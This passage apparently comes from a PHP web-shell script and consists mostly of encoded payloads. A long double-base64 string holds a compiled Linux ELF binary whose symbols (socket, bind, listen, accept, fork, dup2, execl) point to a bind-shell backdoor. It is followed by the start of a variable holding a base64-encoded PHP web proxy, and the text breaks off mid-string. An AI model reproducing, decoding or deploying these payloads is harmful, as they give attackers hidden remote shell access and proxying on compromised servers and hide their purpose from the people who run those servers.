QVFBQUFDUUFBQUFNQUFBQWlJUUVDQTBBQUFBa2lRUUlCQUFBQUVpQkJBZ0ZBQUFBRUlNRUNBWUFBQURnZ1FRSUNnQUFBTEFBQUFBTEFBQUFFQUFBQUJVQUFBQUFBQUFBQXdBQUFJeWFCQWdDQUFBQWVBQUFBQlFBQUFBUkFBQUFGd0FBQUJDRUJBZ1JBQUFBQ0lRRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXY2SU1FQ1AvLy8yOEJBQUFBOFAvL2I4Q0RCQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3SmtFQ0FBQUFBQUFBQUFBdG9RRUNNYUVCQWpXaEFRSTVvUUVDUGFFQkFnR2hRUUlGb1VFQ0NhRkJBZzJoUVFJUm9VRUNGYUZCQWhtaFFRSWRvVUVDSWFGQkFpV2hRUUlBQUFBQUFBQUFBQzRtUVFJQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBQUFjQUFBQUFnQUFBQUFBQkFBQUFBQUFvSVVFQ0NJQUFBQUFBQUFBQUFBQUFEUUFBQUFDQUFzQkFBQUVBQUFBQUFEb2hRUUlCQUFBQUNTSkJBZ1NBQUFBaUlRRUNBc0FBQURFaFFRSUpBQUFBQUFBQUFBQUFBQUFMQUFBQUFJQW13RUFBQVFBQUFBQUFPaUZCQWdFQUFBQU80a0VDQVlBQUFDZGhBUUlBZ0FBQUFBQUFBQUFBQUFBSVFBQUFBSUFlZ0FBQUpFQUFBQjVBQUFBWDBsUFgzTjBaR2x1WDNWelpXUUFBQUFBQUhZQUFBQUNBQUFBQUFBRUFRQUFBQUNnaFFRSXdvVUVDQzR1TDNONWMyUmxjSE12YVRNNE5pOWxiR1l2YzNSaGNuUXVVd0F2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2WjJ4cFltTXRNaTR6TGpZdlkzTjFBRWRPVlNCQlV5QXlMakUyTGpreEFBR0FqUUFBQUFJQUZBQUFBQVFCV3dBQUFNU0ZCQWpFaFFRSVlnQUFBQUVBQUFBQUVRQUFBQUtRQUFBQUJBY0NWQUFBQUFFSUFwMEFBQUFDQndLTEFBQUFCQWNDVmdBQUFBRUdBZ2NBQUFBQ0JRTnBiblFBQkFVQ1JnQUFBQWdGQW9ZQUFBQUlCd0pMQUFBQUJBVUNrQUFBQUFRSEFsMEFBQUFCQmdTd0FBQUFBUm1MQUFBQUFRVURTSWtFQ0FWUEFBQUFBSXdBQUFBQ0FGWUFBQUFFQVlJQUFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnBMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnSXdBQUFBQ0FHWUFBQUFFQVM4QkFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnVMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnQUVSQUJBR0VRRVNBUU1JR3dnbENCTUZBQUFBQVJFQkVBWVNBUkVCSlE0VEN3TU9HdzRBQUFJa0FBTU9Dd3MrQ3dBQUF5UUFBd2dMQ3o0TEFBQUVOQUFERGpvTE93dEpFejhNQWdvQUFBVW1BRWtUQUFBQUFSRUFFQVlEQ0JzSUpRZ1RCUUFBQUFFUkFCQUdBd2diQ0NVSUV3VUFBQUJYQUFBQUFnQXlBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htQUFCemRHRnlkQzVUQUFFQUFBQUFCUUtnaFFRSUE4QUFBVE1oTkQwbElnTVlJRmxhSVNKY1d3SUJBQUVCSXdBQUFBSUFIUUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCQUdsdWFYUXVZd0FBQUFBQXFRQUFBQUlBVUFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFBQkwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1VBQUdOeWRHa3VVd0FCQUFBQUFBVUM2SVVFQ0FQQUFBRTlBZ0VBQVFFQUJRSWtpUVFJQXk0QklTOGhXV2NDQXdBQkFRQUZBb2lFQkFnREh3RWhMejBDQlFBQkFRQUZBc1NGQkFnRENnRWhMeUZaWnoxbkx5OHdQU0VoQWdFQUFRR0lBQUFBQWdCUUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFFBQVkzSjBiaTVUQUFFQUFBQUFCUUxvaFFRSUF5RUJQUUlCQUFFQkFBVUNPNGtFQ0FNU0FUMGhJUUlCQUFFQkFBVUNuWVFFQ0FNSkFTRUNBUUFCQVdsdWFYUXVZd0J6YUc5eWRDQnBiblFBTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJzYjI1bklHeHZibWNnYVc1MEFIVnVjMmxuYm1Wa0lHTm9ZWElBUjA1VklFTWdNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBYkc5dVp5QnNiMjVuSUhWdWMybG5ibVZrSUdsdWRBQnphRzl5ZENCMWJuTnBaMjVsWkNCcGJuUUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFDNXplVzEwWVdJQUxuTjBjblJoWWdBdWMyaHpkSEowWVdJQUxtbHVkR1Z5Y0FBdWJtOTBaUzVCUWtrdGRHRm5BQzVvWVhOb0FDNWtlVzV6ZVcwQUxtUjVibk4wY2dBdVoyNTFMblpsY25OcGIyNEFMbWR1ZFM1MlpYSnphVzl1WDNJQUxuSmxiQzVrZVc0QUxuSmxiQzV3YkhRQUxtbHVhWFFBTG5SbGVIUUFMbVpwYm1rQUxuSnZaR0YwWVFBdVpXaGZabkpoYldVQUxtTjBiM0p6QUM1a2RHOXljd0F1YW1OeUFDNWtlVzVoYldsakFDNW5iM1FBTG1kdmRDNXdiSFFBTG1SaGRHRUFMbUp6Y3dBdVkyOXRiV1Z1ZEFBdVpHVmlkV2RmWVhKaGJtZGxjd0F1WkdWaWRXZGZjSFZpYm1GdFpYTUFMbVJsWW5WblgybHVabThBTG1SbFluVm5YMkZpWW5KbGRnQXVaR1ZpZFdkZmJHbHVaUUF1WkdWaWRXZGZjM1J5QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHd0FBQUFFQUFBQUNBQUFBRklFRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQUlBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQXhBQUFBQlFBQUFBSUFBQUJJZ1FRSVNBRUFBSmdBQUFBRUFBQUFBQUFBQUFRQUFBQUVBQUFBTndBQUFBc0FBQUFDQUFBQTRJRUVDT0FCQUFBd0FRQUFCUUFBQUFFQUFBQUVBQUFBRUFBQUFEOEFBQUFEQUFBQUFnQUFBQkNEQkFnUUF3QUFzQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUJIQUFBQS8vLy9id0lBQUFEQWd3UUl3QU1BQUNZQUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQVZBQUFBUDcvLzI4Q0FBQUE2SU1FQ09nREFBQWdBQUFBQlFBQUFBRUFBQUFFQUFBQUFBQUFBR01BQUFBSkFBQUFBZ0FBQUFpRUJBZ0lCQUFBQ0FBQUFBUUFBQUFBQUFBQUJBQUFBQWdBQUFCc0FBQUFDUUFBQUFJQUFBQVFoQVFJRUFRQUFIZ0FBQUFFQUFBQUN3QUFBQVFBQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBaUlRRUNJZ0VBQUFYQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQUFLQ0VCQWlnQkFBQUFBRUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQjdBQUFBQVFBQUFBWUFBQUNnaFFRSW9BVUFBSVFEQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBZ1FBQUFBRUFBQUFHQUFBQUpJa0VDQ1FKQUFBZEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFJY0FBQUFCQUFBQUFnQUFBRVNKQkFoRUNRQUFZd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUFBQUlBQUFDb2lRUUlxQWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW1RQUFBQUVBQUFBREFBQUFySmtFQ0t3SkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS0FBQUFBQkFBQUFBd0FBQUxTWkJBaTBDUUFBQ0FBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDbkFBQUFBUUFBQUFNQUFBQzhtUVFJdkFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyQUFBQUFZQUFBQURBQUFBd0prRUNNQUpBQURJQUFBQUJRQUFBQUFBQUFBRUFBQUFDQUFBQUxVQUFBQUJBQUFBQXdBQUFJaWFCQWlJQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQzZBQUFBQVFBQUFBTUFBQUNNbWdRSWpBb0FBRWdBQUFBQUFBQUFBQUFBQUFRQUFBQUVBQUFBd3dBQUFBRUFBQUFEQUFBQTFKb0VDTlFLQUFBTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNa0FBQUFJQUFBQUF3QUFBT0NhQkFqZ0NnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQURPQUFBQUFRQUFBQUFBQUFBQUFBQUE0QW9BQUNZQkFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQTF3QUFBQUVBQUFBQUFBQUFBQUFBQUFnTUFBQ0lBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBT1lBQUFBQkFBQUFBQUFBQUFBQUFBQ1FEQUFBSlFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFEMkFBQUFBUUFBQUFBQUFBQUFBQUFBdFF3QUFDc0NBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBZ0VBQUFFQUFBQUFBQUFBQUFBQUFPQU9BQUIyQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUJBQkFBQUJBQUFBQUFBQUFBQUFBQUJXRHdBQXV3RUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWNBUUFBQVFBQUFEQUFBQUFBQUFBQUVSRUFBTDhBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBRVFBQUFBTUFBQUFBQUFBQUFBQUFBTkFSQUFBbkFRQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFCSUdBQUE4QVVBQUNFQUFBQS9BQUFBQkFBQUFCQUFBQUFKQUFBQUF3QUFBQUFBQUFBQUFBQUFPQjRBQUxJREFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVnUVFJQUFBQUFBTUFBUUFBQUFBQUtJRUVDQUFBQUFBREFBSUFBQUFBQUVpQkJBZ0FBQUFBQXdBREFBQUFBQURnZ1FRSUFBQUFBQU1BQkFBQUFBQUFFSU1FQ0FBQUFBQURBQVVBQUFBQUFNQ0RCQWdBQUFBQUF3QUdBQUFBQUFEb2d3UUlBQUFBQUFNQUJ3QUFBQUFBQ0lRRUNBQUFBQUFEQUFnQUFBQUFBQkNFQkFnQUFBQUFBd0FKQUFBQUFBQ0loQVFJQUFBQUFBTUFDZ0FBQUFBQW9JUUVDQUFBQUFBREFBc0FBQUFBQUtDRkJBZ0FBQUFBQXdBTUFBQUFBQUFraVFRSUFBQUFBQU1BRFFBQUFBQUFSSWtFQ0FBQUFBQURBQTRBQUFBQUFLaUpCQWdBQUFBQUF3QVBBQUFBQUFDc21RUUlBQUFBQUFNQUVBQUFBQUFBdEprRUNBQUFBQUFEQUJFQUFBQUFBTHlaQkFnQUFBQUFBd0FTQUFBQUFBREFtUVFJQUFBQUFBTUFFd0FBQUFBQWlKb0VDQUFBQUFBREFCUUFBQUFBQUl5YUJBZ0FBQUFBQXdBVkFBQUFBQURVbWdRSUFBQUFBQU1BRmdBQUFBQUE0Sm9FQ0FBQUFBQURBQmNBQUFBQUFBQUFBQUFBQUFBQUF3QVlBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFEQUJvQUFBQUFBQUFBQUFBQUFBQUFBd0FiQUFBQUFBQUFBQUFBQUFBQUFBTUFIQUFBQUFBQUFBQUFBQUFBQUFBREFCMEFBQUFBQUFBQUFBQUFBQUFBQXdBZUFBQUFBQUFBQUFBQUFBQUFBQU1BSHdBQUFBQUFBQUFBQUFBQUFBQURBQ0FBQUFBQUFBQUFBQUFBQUFBQUF3QWhBQUVBQUFBQUFBQUFBQUFBQUFRQThmOE1BQUFBQUFBQUFBQUFBQUFFQVBIL0tBQUFBQUFBQUFBQUFBQUFCQUR4L3k4QUFBQUFBQUFBQUFBQUFBUUE4Zjg2QUFBQUFBQUFBQUFBQUFBRUFQSC9kQUFBQU1TRkJBZ0FBQUFBQWdBTUFJUUFBQUFBQUFBQUFBQUFBQVFBOGYrUEFBQUFySmtFQ0FBQUFBQUJBQkFBblFBQUFMU1pCQWdBQUFBQUFRQVJBS3NBQUFDOG1RUUlBQUFBQUFFQUVnQzRBQUFBNEpvRUNBRUFBQUFCQUJjQXh3QUFBTnlhQkFnQUFBQUFBUUFXQU00QUFBRHNoUVFJQUFBQUFBSUFEQURrQUFBQUc0WUVDQUFBQUFBQ0FBd0FoQUFBQUFBQUFBQUFBQUFBQkFEeC8vQUFBQUN3bVFRSUFBQUFBQUVBRUFEOUFBQUF1SmtFQ0FBQUFBQUJBQkVBQ2dFQUFLaUpCQWdBQUFBQUFRQVBBQmdCQUFDOG1RUUlBQUFBQUFFQUVnQWtBUUFBK0lnRUNBQUFBQUFDQUF3QUx3QUFBQUFBQUFBQUFBQUFCQUR4L3pvQkFBQUFBQUFBQUFBQUFBUUE4ZjkwQVFBQUFBQUFBQUFBQUFBRUFQSC9lQUVBQU1DWkJBZ0FBQUFBQVFJVEFJRUJBQUNzbVFRSUFBQUFBQUFDOGYrU0FRQUFySmtFQ0FBQUFBQUFBdkgvcFFFQUFLeVpCQWdBQUFBQUFBTHgvN1lCQUFDTW1nUUlBQUFBQUFFQ0ZRRE1BUUFBckprRUNBQUFBQUFBQXZILzN3RUFBQUFBQUFCMUFRQUFFZ0FBQVBBQkFBQUFBQUFBY1FBQUFCSUFBQUFCQWdBQVJJa0VDQVFBQUFBUkFBNEFDQUlBQUFBQUFBRE1BQUFBRWdBQUFCb0NBQUFBQUFBQVdnQUFBQklBQUFBcUFnQUEySm9FQ0FBQUFBQVJBaFlBTndJQUFLMklCQWhLQUFBQUVnQU1BRWNDQUFBQUFBQUFlQUFBQUJJQUFBQlpBZ0FBaUlRRUNBQUFBQUFTQUFvQVh3SUFBQUFBQUFBNUFBQUFFZ0FBQUhFQ0FBQUFBQUFBT1FBQUFCSUFBQUNIQWdBQW9JVUVDQUFBQUFBU0FBd0FqZ0lBQUZ5SUJBaFJBQUFBRWdBTUFKNENBQURnbWdRSUFBQUFBQkFBOGYrcUFnQUFRSVlFQ0J3Q0FBQVNBQXdBcndJQUFBQUFBQURtQUFBQUVnQUFBTXdDQUFBQUFBQUFPZ0FBQUJJQUFBRGNBZ0FBMUpvRUNBQUFBQUFnQUJZQTV3SUFBQUFBQUFBNUFBQUFFZ0FBQVBjQ0FBQWtpUVFJQUFBQUFCSUFEUUQ5QWdBQUFBQUFBTGtBQUFBU0FBQUFEUU1BQUFBQUFBQXJBQUFBRWdBQUFCMERBQURnbWdRSUFBQUFBQkFBOGY4a0F3QUE2SVVFQ0FBQUFBQVNBZ3dBT3dNQUFPU2FCQWdBQUFBQUVBRHgvMEFEQUFBQUFBQUFlQUFBQUJJQUFBQlFBd0FBQUFBQUFBNEFBQUFTQUFBQVlRTUFBRWlKQkFnRUFBQUFFUUFPQUhBREFBRFVtZ1FJQUFBQUFCQUFGZ0I5QXdBQUFBQUFBRGtBQUFBU0FBQUFqd01BQUFBQUFBQUFBQUFBSUFBQUFLTURBQUFBQUFBQUFBQUFBQ0FBQUFBQVlXSnBMVzV2ZEdVdVV3QXVMaTl6ZVhOa1pYQnpMMmt6T0RZdlpXeG1MM04wWVhKMExsTUFhVzVwZEM1akFHbHVhWFJtYVc1cExtTUFMMkoxYVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZeTlqYzNVdlkzSjBhUzVUQUdOaGJHeGZaMjF2Ymw5emRHRnlkQUJqY25SemRIVm1aaTVqQUY5ZlExUlBVbDlNU1ZOVVgxOEFYMTlFVkU5U1gweEpVMVJmWHdCZlgwcERVbDlNU1ZOVVgxOEFZMjl0Y0d4bGRHVmtMalEwTmpNQWNDNDBORFl5QUY5ZlpHOWZaMnh2WW1Gc1gyUjBiM0p6WDJGMWVBQm1jbUZ0WlY5a2RXMXRlUUJmWDBOVVQxSmZSVTVFWDE4QVgxOUVWRTlTWDBWT1JGOWZBRjlmUmxKQlRVVmZSVTVFWDE4QVgxOUtRMUpmUlU1RVgxOEFYMTlrYjE5bmJHOWlZV3hmWTNSdmNuTmZZWFY0QUM5aWRXbHNaQzlpZFdsc1pHUXZaMnhwWW1NdE1pNHpMall2WW5WcGJHUXRkSEpsWlM5cE16ZzJMV3hwWW1NdlkzTjFMMk55ZEc0dVV3QXhMbU1BWDBSWlRrRk5TVU1BWDE5bWFXNXBYMkZ5Y21GNVgyVnVaQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5cGJtbDBYMkZ5Y21GNVgyVnVaQUJmUjB4UFFrRk1YMDlHUmxORlZGOVVRVUpNUlY4QVgxOXBibWwwWDJGeWNtRjVYM04wWVhKMEFHVjRaV05zUUVCSFRFbENRMTh5TGpBQVkyeHZjMlZBUUVkTVNVSkRYekl1TUFCZlpuQmZhSGNBY0dWeWNtOXlRRUJIVEVsQ1ExOHlMakFBWm05eWEwQkFSMHhKUWtOZk1pNHdBRjlmWkhOdlgyaGhibVJzWlFCZlgyeHBZbU5mWTNOMVgyWnBibWtBWVdOalpYQjBRRUJIVEVsQ1ExOHlMakFBWDJsdWFYUUFiR2x6ZEdWdVFFQkhURWxDUTE4eUxqQUFjMlYwYzI5amEyOXdkRUJBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJmWDJ4cFltTmZZM04xWDJsdWFYUUFYMTlpYzNOZmMzUmhjblFBYldGcGJnQmZYMnhwWW1OZmMzUmhjblJmYldGcGJrQkFSMHhKUWtOZk1pNHdBR1IxY0RKQVFFZE1TVUpEWHpJdU1BQmtZWFJoWDNOMFlYSjBBR0pwYm1SQVFFZE1TVUpEWHpJdU1BQmZabWx1YVFCbGVHbDBRRUJIVEVsQ1ExOHlMakFBWVhSdmFVQkFSMHhKUWtOZk1pNHdBRjlsWkdGMFlRQmZYMmsyT0RZdVoyVjBYM0JqWDNSb2RXNXJMbUo0QUY5bGJtUUFjMlZ1WkVCQVIweEpRa05mTWk0d0FHaDBiMjV6UUVCSFRFbENRMTh5TGpBQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QSI7DQoNCg0KDQoNCg0KJHBocHByb3h5ID0iUEQ5d2FIQU5DZzBLSXcwS0l5QlRkWEp5YjJkaFptbGxjaUIyTVM0d0xYSmpNdzBLSXcwS0l5QkJkWFJvYjNJNklFSnlZV1FnUTJGaWJHVU5DaU1nUlcxaGFXdzZJR0p5WVdSQVltTmhZbXhsTG01bGRBMEtJeUJNYVdObGJuTmxPaUJOYjJScFptbGxaQ0JDVTBRTkNpTWdUR2xqWlc1elpTQkVaWFJoYVd4ek9nMEtJeUJvZEhSd09pOHZZbU5oWW14bExtNWxkQzlzYVdObGJuTmxMbkJvY0EwS0l3MEtEUW9OQ2lNZ1EwOU9Sa2xISUh0N2V3MEtEUW9qSUVSbFptRjFiSFFnZEc4Z2MybHRjR3hsSUcxdlpHVWdkMmhsYmlCMGFHVWdjR0ZuWlNCcGN5QnNiMkZrWldRdUlGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5VFNVMVFURVVuTEdaaGJITmxLVHNOQ2lNZ1JtOXlZMlVnZEdobElIQmhaMlVnZEc4Z1lXeDNZWGx6SUdKbElHbHVJSE5wYlhCc1pTQnRiMlJsSUNodWJ5QmhaSFpoYm1ObFpDQnRiMlJsSUc5d2RHbHZiaWt1SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUms5U1EwVmZVMGxOVUV4Rkp5eG1ZV3h6WlNrN0RRb2pJRmRwWkhSb0lHWnZjaUIwYUdVZ1ZWSk1JR0p2ZUNCM2FHVnVJR2x1SUhOcGJYQnNaU0J0YjJSbElDaERVMU1nSW5kcFpIUm9JaUJoZEhSeWFXSjFkR1VwTGlCYk16QXdjSGhkRFFwa1pXWnBibVVvSjFOSlRWQk1SVjlOVDBSRlgxVlNURmRKUkZSSUp5d25NekF3Y0hnbktUc05DZzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lCMGRXNXVaV3dnYzJWeWRtVnlMaUJiWFEwS1pHVm1hVzVsS0NkRVJVWkJWVXhVWDFSVlRrNUZURjlRU1ZBbkxDY25LVHNOQ2lNZ1JHVm1ZWFZzZENCMllXeDFaU0JtYjNJZ2RIVnVibVZzSUhCdmNuUXVJRnRkRFFwa1pXWnBibVVvSjBSRlJrRlZURlJmVkZWT1RrVk1YMUJRVDFKVUp5d25KeWs3RFFvaklGTm9iM1ZzWkNCMGFHVWdkSFZ1Ym1Wc0lHWnBaV3hrY3lCaVpTQmthWE53YkdGNVpXUS9JQ0ptWVd4elpTSWdkbUZzZFdVZ2FHVnlaU0IzYVd4c0lHWnZjbU5sSUhSb1pTQmtaV1poZFd4MGN5QmhZbTkyWlNCYmRISjFaVjBOQ21SbFptbHVaU2duUms5U1EwVmZSRVZHUVZWTVZGOVVWVTVPUlV3bkxIUnlkV1VwT3cwS0RRb2pJRVJsWm1GMWJIUWdkbUZzZFdVZ1ptOXlJQ0pRWlhKemFYTjBaVzUwSUZWU1RDSWdZMmhsWTJ0aWIzZ2dXM1J5ZFdWZERRcGtaV1pwYm1Vb0owUkZSa0ZWVEZSZlZWSk1YMFpQVWswbkxIUnlkV1VwT3cwS0l5QkVaV1poZFd4MElIWmhiSFZsSUdadmNpQWlVbVZ0YjNabElFTnZiMnRwWlhNaUlHTm9aV05yWW05NElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5U1JVMVBWa1ZmUTA5UFMwbEZVeWNzWm1Gc2MyVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUZKbFptVnlaWElnUm1sbGJHUWlJR05vWldOclltOTRJRnRtWVd4elpWME5DbVJsWm1sdVpTZ25SRVZHUVZWTVZGOVNSVTFQVmtWZlVrVkdSVkpGVWljc1ptRnNjMlVwT3cwS0l5QkVaV1poZFd4MElIWmhiSFZsSUdadmNpQWlVbVZ0YjNabElGTmpjbWx3ZEhNaUlHTm9aV05yWW05NElGdG1ZV3h6WlYwTkNtUmxabWx1WlNnblJFVkdRVlZNVkY5U1JVMVBWa1ZmVTBOU1NWQlVVeWNzWm1Gc2MyVXBPdzBLSXlCRVpXWmhkV3gwSUhaaGJIVmxJR1p2Y2lBaVVtVnRiM1psSUU5aWFtVmpkSE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlTUlUxUFZrVmZUMEpLUlVOVVV5Y3NabUZzYzJVcE93MEtJeUJFWldaaGRXeDBJSFpoYkhWbElHWnZjaUFpUlc1amNubHdkQ0JWVWt4eklpQmphR1ZqYTJKdmVDQmJabUZzYzJWZERRcGtaV1pwYm1Vb0owUkZSa0ZWVEZSZlJVNURVbGxRVkY5VlVreFRKeXhtWVd4elpTazdEUW9qSUVSbFptRjFiSFFnZG1Gc2RXVWdabTl5SUNKRmJtTnllWEIwSUVOdmIydHBaWE1pSUdOb1pXTnJZbTk0SUZ0bVlXeHpaVjBOQ21SbFptbHVaU2duUkVWR1FWVk1WRjlGVGtOU1dWQlVYME5QVDB0VEp5eG1ZV3h6WlNrN0RRb05DaThxTHlCQlpHUnlaWE56SUVKc2IyTnJhVzVuSUU1dmRHVnpJRndxWEEwS0RRcEdiM0p0WVhSeklHWnZjaUJoWkdSeVpYTnpJR0pzYjJOcmFXNW5JR0Z5WlNCaGN5Qm1iMnhzYjNkek9nMEtEUW9nSURFdU1pNHpMalFnSUNBZ0lDMGdjR3hoYVc0Z1NWQWdZV1JrY21WemN3MEtJQ0F4TGpBdU1DNHdMekUySUNBdElITjFZbTVsZENCaWJHOWphMmx1WncwS0lDQXhMakF2TVRZZ0lDQWdJQ0F0SUhOMVltNWxkQ0JpYkc5amEybHVadzBLSUNBeEx6Z2dJQ0FnSUNBZ0lDQXRJSE4xWW01bGRDQmliRzlqYTJsdVp3MEtJQ0J3YUhBdWJtVjBJQ0FnSUNBdElHUnZiV0ZwYmlCaWJHOWphMmx1WncwS0RRcEVaV1poZFd4MElGWmhiSFZsT2lBbk1UQXZPQ2NzSnpFM01pODRKeXduTVRreUxqRTJPQzh4Tmljc0p6RXlOeTg0Snl3bk1UWTVMakkxTkM4eE5pY05DZzBLWENwY0lFVnVaQ0JCWkdSeVpYTnpJRUpzYjJOcmFXNW5JRTV2ZEdWeklDOHFMdzBLRFFva1lteHZZMnRsWkY5aFpHUnlaWE56WlhNOVlYSnlZWGtvSnpFd0x6Z25MQ2N4TnpJdk9DY3NKekU1TWk0eE5qZ3ZNVFluTENjeE1qY3ZPQ2NzSnpFMk9TNHlOVFF2TVRZbktUc05DZzBLSXlCOWZYME5DZzBLSXlCQlJGWkJUa05GUkNCRFQwNUdTVWNnZTN0N0RRb05DaU1nVkdobElHWnZiR3h2ZDJsdVp5QnZjSFJwYjI1eklHRnNkR1Z5SUhSb1pTQjNZWGtnWkc5amRXMWxiblJ6SUdGeVpTQndZWEp6WldRZ2IyNGdkR2hsSUhCaFoyVXVJQ0JQVGt4WklFVkVTVlFnVkVoSlV5QlRWRlZHUmlCSlJpQlpUMVVnVWtWQlRFeFpJRXRPVDFjZ1YwaEJWQ0JaVDFVZ1FWSkZJRVJQU1U1SElRMEtEUW9qSURVd01DQnBjeUIwYUdVZ2JXOXpkQ0J5WldGemIyNWhZbXhsSUc1MWJXSmxjaUJKSUdOdmRXeGtJR052YldVZ2RYQWdkMmwwYUNCaGN5QmhJRzFoZUdsdGRXMGdWVkpNSUd4bGJtZDBhQ0JzYVcxcGRBMEtJeUJKSUhKaGJpQnBiblJ2SUdFZ01USXdNQ3NnWTJoaGNtRmpkR1Z5SUd4dmJtY2dWVkpNSUc5dVkyVWdZVzVrSUdsMElHNWxZWEpzZVNCdFpXeDBaV1FnZEdobElIQnliMk5sYzNOdmNpQnZiaUJ0ZVNCc1lYQjBiM0FnZEhKNWFXNW5JSFJ2SUhCaGNuTmxJR2wwRFFvaklFaHZibVZ6ZEd4NUxDQjNhRzhnYm1WbFpITWdkR2hwY3lCc2IyNW5JRzltSUdFZ1ZWSk1JR0Z1ZVh